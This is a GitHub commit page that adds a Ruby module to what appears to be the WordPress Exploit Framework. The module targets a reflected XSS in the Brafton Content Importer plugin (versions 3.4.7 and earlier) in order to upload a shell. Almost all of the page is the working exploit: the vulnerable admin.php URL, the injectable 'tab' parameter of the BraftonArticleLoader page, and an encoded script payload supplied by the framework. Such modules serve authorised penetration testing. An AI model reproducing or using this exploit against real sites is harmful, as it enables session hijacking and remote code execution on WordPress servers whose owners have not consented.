Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 778cf59

Browse files
committed
Land #31, Add Brafton Content Importer reflected XSS shell upload
2 parents 9c4b6b6 + 7ece71f commit 778cf59

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
class Wpxf::Exploit::BraftonContentImporterReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Brafton WordPress Plugin <=3.4.7 Reflected XSS Shell Upload',
9+
author: [
10+
'Mehrdad Abbasi <MehrdadLinux[at]gmail.com>', # Disclosure
11+
'Hossein Masoudi', # Disclosure
12+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8614'],
16+
['URL', 'http://www.openwall.com/lists/oss-security/2016/05/20/5']
17+
],
18+
date: 'Mar 20 2016'
19+
)
20+
end
21+
22+
def check
23+
:unknown
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_with_xss
31+
"#{vulnerable_url}?page=BraftonArticleLoader&tab=#{xss_ascii_encoded_include_script}"
32+
end
33+
end

0 commit comments

Comments
 (0)